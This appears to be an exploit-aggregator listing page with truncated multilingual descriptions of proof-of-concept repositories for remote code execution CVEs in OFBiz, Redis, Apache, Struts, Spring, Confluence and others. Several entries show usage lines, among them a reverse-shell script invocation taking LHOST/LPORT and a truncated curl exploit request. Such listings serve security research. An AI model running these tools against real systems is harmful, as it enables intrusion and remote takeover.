CVE-2024-32113-POC

Vulnérabilités Apache OfBiz POC pour CVE-2024-32113 Les paramètres USERNAME et PASSWORD peuvent être fournis via l'interface /ecomseo/AnonContactus, qui est accessible publiquement à quiconque. POC1：RCE root@kitploit: curl --noproxy '' -k --location --request POST...

-CVE-2023-33177-

Xibo CMS CVE-2023-33177 漏洞测试工具 针对 CVE-2023-33177 的自动化安全测试工具——Xibo CMS 中的 Zip Slip 路径遍历漏洞，可导致远程代码执行（RCE）。 ⚠️ 免责声明 此工具仅用于教育和授权测试目的。 仅在您拥有或已获得明确许可的系统上使用。 未经授权的测试是非法且不道德的。 📋 描述 Xibo CMS 版本 1.8.0-2.3.16 和 3.0.0-3.3.4 在布局导入功能中存在路径遍历攻击漏洞。本工具通过尝试写入一个无害的测试文件，安全地检测您的 Xibo 实例是否存在漏洞。 漏洞详情 CVE ID :...

CVE-2026-23479

CVE-2026-23479 — Redis Use-After-Free RCE PoC 集合 HackSpeak 分发镜像。本仓库整合了三个公开 PoC/检测工具 ,代码与各上游一致。 ⚠️ 包含实际利用代码与检测工具 ;仅供安全研究、漏洞验证与授权测试使用,请在可销毁环境运行,勿对未授权系统使用。 漏洞简述 CVE-2026-23479 是 Redisredis-server的 Use-After-FreeUAF 漏洞,可导致远程代码执行RCE 。 根因 :unblockClientOnKeysrc/blocked.c未检查 processCommandAndResetClient...

CVE-2021-42013_Reverse-Shell

CVE-2021-42013Reverse-Shell PoC для CVE-2021-42013: реверс-шелл для Apache 2.4.50 с CGI Использование : root@kitploit: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:port/ LHOST LPORT Подробнее: root@kitploit: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh...

CVE-2022-30190

MS-MSDT Follina CVE-2022-30190 PoC Генератор вредоносных docx-файлов для эксплуатации Удаленное выполнение кода в Microsoft Office Word Создание этого скрипта основано на PoC для CVE-2021-40444 от LockedByte и статье от Tothi Использование Сначала измените backup.html и замените полезную нагрузку...

SubrionCMS-4.2.1-File-upload-RCE-auth-

SubrionCMS-4.2.1-File-upload-RCE-auth- Ceci est une version modifiée de l'exploit CVE-2018-19422 pour corriger un petit mais agaçant problème que j'ai rencontré. J'ai dû utiliser cet exploit dans un CTF, mais je n'arrivais pas à le faire fonctionner correctement : il échouait sans cesse à la...

CVE-2021-31805

CVE-2021-31805 원격 코드 실행 S2-062 CVE-2021-31805 Apache Struts2의 S2-061 CVE-2020-17530에 대한 불완전한 수정으로 인해 일부 태그 속성에서 여전히 OGNL 표현식을 실행할 수 있으며, 이 취약점을 통해 공격자는 악성 데이터를 구성하여 원격으로 임의 코드를 실행할 수 있습니다. CVE202131805POCEXP.py POC pocsuite -r CVE202131805POCEXP.py -u url EXP pocsuite -r CVE202131805POCEXP.py -u...

CVE-2022-22965-PoC

Preuve de concept de CVE-2022-22965 Spring4Shell Tester la RCE Exécution de code à distance dans Spring Core​ Construire l'image Une construction basée sur BuildKit est requise, vous devez donc l'activer. Le moyen le plus simple est de définir la variable d'environnement DOCKERBUILDKIT=1 lors de...

CVE-2023-46012

CVE-2023-46012 Уязвимость удаленного выполнения кода из-за переполнения стекового буфера в IGD UPnP на LINKSYS AC1900 EA7500v3 Эта уязвимость позволяет сетевым злоумышленникам, находящимся в той же сети, выполнять произвольный код на уязвимых установках маршрутизаторов LINKSYS EA7500. Для...

PSForgot2kEyXCHANGE

PSForgot2kEyXCHANGE Forgot2kEyXCHANGE CVE-2020-0688 の PoC（概念実証）を PowerShell で記述 使用方法 この PoC は有効なユーザー名とパスワードを必要とします。 この PoC は ysoserial.net を使用して、-Command パラメーターで指定したコマンドを含む新しい ViewState を作成します。 このツールがシステムにインストールされていない場合は、こちら からダウンロードしてください。 root@kitploit: PS . .\PSForgot2kEyXCHANGE.ps1 PS...

CVE-2026-24061_POC

CVE-2026-24061 GNU Telnetd RCE Параметры скрипта...

CVE-2021-44521

CVE-2021-44521 CVE-2021-44521의 자동화 PoC 원본 PoC 크레딧: https://jfrog.com/blog/cve-2021-44521-exploiting-apache-cassandra-user-defined-functions-for-remote-code-execution/ 요구 사항 Cassandra-driver root@kitploit: pip3 install cassandra-driver 사용법 root@kitploit: python3 poc.py 한 번에 여러 명령을 실행할 수 없으며, 아직...

CVE-2026-47864

Spring Integration 's SerializingHttpMessageConverter deserializes incoming HTTP request bodies using a raw java.io.ObjectInputStream with no class filtering. Any request carrying Content-Type: application/x-java-serialized-object whose body resolves to a Serializable type is passed directly to r...

CVE-2026-47864 Unsafe Java deserialization in SerializingHttpMessageConverter — remote code execution

SerializingHttpMessageConverter deserializes the body of incoming HTTP requests with a raw java.io.ObjectInputStream and no class filtering. Any request with Content-Type application/x-java-serialized-object whose body resolves to a Serializable type is read directly via readObject. If an...

CVE-2004-1561

CVE-2004-1561 Icecast Header Overwrite buffer overflow RCE Обновление для 568-edit.c Удалось заставить работать оригинальный эксплойт. Отредактирован в соответствии...

CVE-2020-10238

Créé par HK CVE-2020-10238 : Contrôle d'accès incorrect dans comtemplates - RCE CVE-2020-10239 : Contrôle d'accès incorrect dans le champ SQL comfields - RCE Lien https://developer.joomla.org/security-centre/804-20200303-core-incorrect-access-control-in-com-templates.html...

CVE-2023-22527

CVE-2023-22527 Этот репозиторий представляет proof-of-concept уязвимости CVE-2023-22527 CVE-2023-22527 | RCE с помощью SSTI в Confluence Дисклеймер Этот код является proof-of-concept уязвимости, и я никого не призываю использовать его на экземплярах Confluence, которые им не принадлежат. Этот...

CVE-2022-0543

CVE-2022-0543 CVE-2022-0543RCE, Обход песочницы Lua в Redis, выполнение команд Использование python3 CVE-2022-0543.py...

CVE-2025-69600

CVE-2025-69600 auteur: Rafael José Núñez Gulías entreprise: Iberian Var Group Produits concernés: RayVentory Scan Engine 12.6 Update 8 et versions précédentes Avis Raynet: RSEC200966 L'injection de commandes dans rvia de Raynet permet à des adversaires d'exécuter des commandes via les options...

CVE-2023-4220-PoC

CVE-2023-4220 Téléversement de fichier arbitraire / RCE - PoC J'ai créé ce script pour automatiser l'exploitation de CVE-2023-4220 et obtenir un reverse shell sur la machine PermX de Hack The Box. Cette vulnérabilité affecte Chamilo LMS versions ≤ 1.11.24 , en raison d'une validation insuffisante...